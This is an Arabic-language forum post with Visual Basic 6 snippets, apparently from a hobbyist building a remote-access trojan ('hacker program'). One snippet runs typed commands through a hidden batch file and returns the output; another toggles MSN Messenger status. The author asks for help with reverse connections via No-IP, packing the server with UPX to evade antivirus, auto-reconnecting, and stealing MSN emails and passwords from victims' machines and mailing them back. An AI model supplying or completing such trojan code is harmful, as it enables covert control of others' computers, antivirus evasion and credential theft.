Private Sub cmdExecute_Click()
On Error Resume Next
Open "c:\batch.bat" For Output As #3
Print #3, txtCommand.Text & " >c:\output.txt"
Close #3
ShellExecute Me.hwnd, "open", "c:\batch.bat", "", "c:\", 0
Open "c:\output.txt" For Input As #3
Do Until EOF(3)
Line Input #3, a
txtOutput.Text = txtOutput.Text & vbCrLf & a
Loop
Close #3
End Sub
Private Sub Form_Load()
cmdExecute.Caption = "Execute!"
End Sub
-------------------------------------------------------------------------------------
34-تغيير حالة المسنجر من برنامجك
تذهب الى القائمة وتبحث عن projet  ومن تم تدهب الى Reference
وتضغط من الليست 
 Messenger Private Type Liberary
Messenger API Type liberary
Messenger Content Instlaller Type Liberary
ومن تم بالطبع ستضغط على OK
والأن فلنكت الأكواد التالية بعد إدراج  8 كوماند

Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Command1_Click()

MsgrUIA.MyStatus = MISTATUS_ONLINE
End Sub
Private Sub Command2_Click()
MsgrUIA.MyStatus = MISTATUS_BUSY
End Sub
Private Sub Command3_Click()
MsgrUIA.MyStatus = MISTATUS_BE_RIGHT_BACK
End Sub
Private Sub Command4_Click()
MsgrUIA.MyStatus = MISTATUS_AWAY
End Sub
Private Sub Command5_Click()
MsgrUIA.MyStatus = MISTATUS_ON_THE_PHONE
End Sub
Private Sub Command6_Click()
MsgrUIA.MyStatus = MISTATUS_OUT_TO_LUNCH
End Sub
Private Sub Command7_Click()
MsgrUIA.MyStatus = MISTATUS_INVISIBLE
End Sub
Private Sub Command8_Click()
MsgrUIA.MyStatus = MISTATUS_ONLINE
MsgrUIA.MyStatus = MISTATUS_INVISIBLE

MsgrUIA.MyStatus = MISTATUS_ONLINE
MsgrUIA.MyStatus = MISTATUS_INVISIBLE

MsgrUIA.MyStatus = MISTATUS_ONLINE
MsgrUIA.MyStatus = MISTATUS_INVISIBLE

MsgrUIA.MyStatus = MISTATUS_ONLINE
MsgrUIA.MyStatus = MISTATUS_INVISIBLE

MsgrUIA.MyStatus = MISTATUS_ONLINE
End Sub
Private Sub Form_Load()
On Error Resume Next ' in case of error
Command1.Caption = "متصل"
Command2.Caption = "مشغول"
Command3.Caption = "سأعود حالا"
Command4.Caption = "بالخــارج"
Command5.Caption = "على الهاتف"
Command6.Caption = "بالخارج للغداء"
Command7.Caption = "الظهور دون الإتصال"
Command8.Caption = "إزعاج"

'Nueva estancia del msn
Set MsgrUIA = New MessengerAPI.Messenger
End Sub
-------------------------------------------------------------------------------------

فكما ترون فهذه الأكواد هي كافية لبرمجة برنامج هكر وهي ما يخصنا تقريبا وأنتم بالطبع ستضيفون بعظ الأكواد صحيح!

لكن ما يخصنا وهو الذي يواجه كل واحد منا وهو الإتصال وطريقة لإستخدام أوامر الوينسوك API وطريقة إستعمال ال NO-IP في برنامجي. هنا لا أستطيع من وراء هذا فعل شيء.

لكن طريقة برمجتها بين الخادم والعميل فهنا تكمل المشكلة لكن مع وجود الاعضاء الذين سيشاركون في هذا الموضوع فإننا سنقوم بحلها (ياســــــلام). لذلك يخصنا كيفية التعمل مع الوينسوك API

=============================================================

سأتطرق الى كيفية التعامل مع هذه الأكواد لبرمجتها بين الخادم والعميل (علما أنني لا أعرف التطبيق لكن أعرف المعلومة)

فكما تعلمون أن طريقة التعامل أو التواصل بينهما سهلة جدا وهي كتالى:

يقوم ال Client بالإتصال ب server والواسط بينهما والذي يعمل الإتصال بينهما هو الإيبي والبورت ومن دونهما إنسى كلمة برمجة بين السيرفر والكلاينت إلا أن هذه الطريقة يشتكي منها العديد لذلك فكرت في طريقة أخرى وهي إما بال FTP أي من خلال صفحتك وإما من خلال ال NO-IP وهذه الطريقة هي التي أضمنها لكم لكن مع الأسف لا أجيد هذه الطريقة

والأن اليكم ما أريده :

- استخدام ال NO-IP مثل البرورات والعربرات (على فكرة ده برنامج عربي ونحن نفتخر به) ومجموعة عديدة من برامج الإختراق الأجنبـــــية (وليست عربية).......

-طرق لجعل رقم الأي بى الخاص بك مثل الرقم الثابت

- طريقة لجعل من برنامجي يقوم بضغط السيرفر مثلا كبرنامج ضغط الملفات UPX 193(هذا إذا أضفت أكوادا من عندك أو من أي مكان في منتدى معين..... فإن برامج الحماية تكتشفها)

-تسجيل رقم IP فى خيارات التبليغ

-تكرار الإتصال فى حالة إنقطاعه

-تفعيل الإتصال العكسى

-لقد وجدت برنامجا يستخرج الإيمايلات مع كلمات السر من الجهاز MSN PassSender –Edit Sever لكن هل ممكن أن نبرمج شيء كهذا في الفيجوال بيسيك أو حتى من برمجة أخرى ثم ندمجه مع الفيجوال بيسيك والتبليغ حتى إلى الإيمايل.

-وكما صرحت في موضوع أخر عن الوينسوك فإنني وجدت لكم مفاجئة ليست كاملة...... وهي أنني وجدت API الوينسوك لكن مع الأسف لا يوجد كيفية تطبيقها في الفورم مثلا winsock.senddata .....)) هل تفهمون ما أريد لقد إخترت الوينسوك API لتفادي مشاكل في التنصيب وكترة الملفات أيضا وكذلك البايت (أي الحجم) , هذا إذا أردتم أن تجعلو server خفيفا نوعا ما, كذلك ممكن أن تصادفكك مشكلة في برنامجك بعد حفضه والمشكلة هي في الملف"vb6fr.dll" لذلك قمت بنقل لكم هذا الموضوع من هنا. أو يمكنكم البحث عن طريقة الدمج بالوينرار أو أي برنامج ضغط....

والأن هل هناك من يساعدني................................................لو سمحتم.

في ما يخص ال No-IP وطريقة لإستخراج الإيمايلات.......وووو